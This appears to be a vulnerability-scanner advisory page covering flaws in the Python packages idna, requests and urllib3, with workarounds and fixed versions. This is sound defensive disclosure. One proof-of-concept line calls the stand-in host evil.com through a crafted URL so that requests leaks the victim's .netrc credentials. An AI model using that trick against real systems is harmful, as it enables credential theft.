Find, fix and prevent vulnerabilities in your code.

Overview

Affected versions of this package are vulnerable to Resource Exhaustion via the idna.encode function. An attacker can consume significant resources and potentially cause a denial-of-service by supplying specially crafted arguments to this function.

Note: This is triggered by arbitrarily large inputs that would not occur in normal usage but may be passed to the library assuming there is no preliminary input validation by the higher-level application.

Remediation

Upgrade idna to version 3.7 or higher.

References

• GitHub Commit

Overview

Affected versions of this package are vulnerable to Information Exposure by leaking Proxy-Authorization headers to destination servers during redirects to an HTTPS origin. This is a result of how rebuild_proxies is used to recompute and reattach the Proxy-Authorization header to requests when redirected.

NOTE: This behavior has only been observed to affect proxied requests when credentials are supplied in the URL user information component (e.g. https://username:password@proxy:8080), and only when redirecting to HTTPS:

1. HTTP → HTTPS: leak

2. HTTPS → HTTP: no leak

3. HTTPS → HTTPS: leak

4. HTTP → HTTP: no leak

For HTTP connections sent through the proxy, the proxy will identify the header in the request and remove it prior to forwarding to the destination server. However when sent over HTTPS, the Proxy-Authorization header must be sent in the CONNECT request as the proxy has no visibility into further tunneled requests. This results in Requests forwarding the header to the destination server unintentionally, allowing a malicious actor to potentially exfiltrate those credentials.

Workaround

This vulnerability can be avoided by setting allow_redirects to False on all calls through Requests top-level APIs, and then capturing the 3xx response codes to make a new request to the redirect destination.

Remediation

Upgrade requests to version 2.31.0 or higher.

References

• GitHub Commit
• GitHub Release
• PoC

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Improper Removal of Sensitive Information Before Storage or Transfer due to the improper handling of the Proxy-Authorization header during cross-origin redirects when ProxyManager is not in use. When the conditions below are met, including non-recommended configurations, the contents of this header can be sent in an automatic HTTP redirect.

Notes:

To be vulnerable, the application must be doing all of the following:

1. Setting the Proxy-Authorization header without using urllib3's built-in proxy support.

2. Not disabling HTTP redirects (e.g. with redirects=False)

3. Either not using an HTTPS origin server, or having a proxy or target origin that redirects to a malicious origin.

Workarounds

1. Using the Proxy-Authorization header with urllib3's ProxyManager.

2. Disabling HTTP redirects using redirects=False when sending requests.

3. Not using the Proxy-Authorization header.

Remediation

Upgrade urllib3 to version 1.26.19, 2.2.2 or higher.

References

• GitHub Commit
• GitHub Commit

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Open Redirect due to the retries parameter being ignored during PoolManager instantiation. An attacker can access unintended resources or endpoints by leveraging automatic redirects when the application expects redirects to be disabled at the connection pool level.

Note:

requests and botocore users are not affected.

Workaround

This can be mitigated by disabling redirects at the request() level instead of the PoolManager() level.

Remediation

Upgrade urllib3 to version 2.5.0 or higher.

References

• GitHub Commit

Overview

Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data due to incorrect URL processing. An attacker could craft a malicious URL that, when processed by the library, tricks it into sending the victim's .netrc credentials to a server controlled by the attacker.

Note:

This is only exploitable if the .netrc file contains an entry for the hostname that the attacker includes in the crafted URL's "intended" part (e.g., example.com in http://example.com:@evil.com/).

PoC

requests.get('http://example.com:@evil.com/')

Remediation

Upgrade requests to version 2.32.4 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub Commit
• GitHub Issue
• GitHub PR
• GitHub PR
• GitHub PR
• Seclists Full Disclosure
• Vulnerable Code

Overview

Affected versions of this package are vulnerable to Always-Incorrect Control Flow Implementation when making requests through a Requests Session. An attacker can bypass certificate verification by making the first request with verify=False, causing all subsequent requests to ignore certificate verification regardless of changes to the verify value.

Notes:

1. For requests <2.32.0, avoid setting verify=False for the first request to a host while using a Requests Session.

2. For requests <2.32.0, call close() on Session objects to clear existing connections if verify=False is used.

3. This vulnerability was initially fixed in version 2.32.0, which was yanked. Therefore, the next available fixed version is 2.32.2.

Remediation

Upgrade requests to version 2.32.2 or higher.

References

• GitHub Commit
• GitHub PR

MPL-2.0 license

LGPL-2.1 license